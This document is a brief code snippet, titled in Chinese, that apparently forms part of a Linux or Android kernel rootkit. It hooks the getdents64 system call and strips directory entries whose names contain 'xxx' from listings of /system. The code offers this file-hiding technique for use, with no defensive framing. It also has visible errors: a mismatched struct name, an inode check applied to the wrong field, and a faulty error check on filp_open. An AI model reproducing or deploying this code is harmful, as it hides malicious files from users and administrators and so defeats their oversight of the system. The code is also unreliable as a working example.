hook sys_getdents64隐藏文件

long (*orig_getdents64)(unsigned int fd, struct linux_dirents64 *dirp, unsigned int count);

unsigned long system_ino = -1;  // ino of /system

void system_ino_init(void)
{
    struct file *filp;

    if ((filp = filp_open("/system", O_RDONLY, 0)) != NULL)
    {
        system_ino = filp->f_dentry->d_inode->i_ino;
        filp_close(filp, NULL);
    }
}

asmlinkage long hacked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    long ret, tmp;
    struct linux_dirent64 *td;

    ret = orig_getdents64(fd, dirp, count);

    /* Only hide file in /system */
    if (unlikely(dirp->d_ino == system_ino))
    {
        td = dirp;
        tmp = ret;
        while (tmp > 0) 
        {
            tmp -= td->d_reclen;

            if (strstr(td->d_name, "xxx") != NULL) 
            {
                ret -= td->d_reclen;
                if (tmp)
                    memmove(td, (char *)td + td->d_reclen, tmp);
            }
            else
            {
                td = (struct linux_dirent64 *)((char *)td + td->d_reclen);
            }
        }
    }

    return ret;
}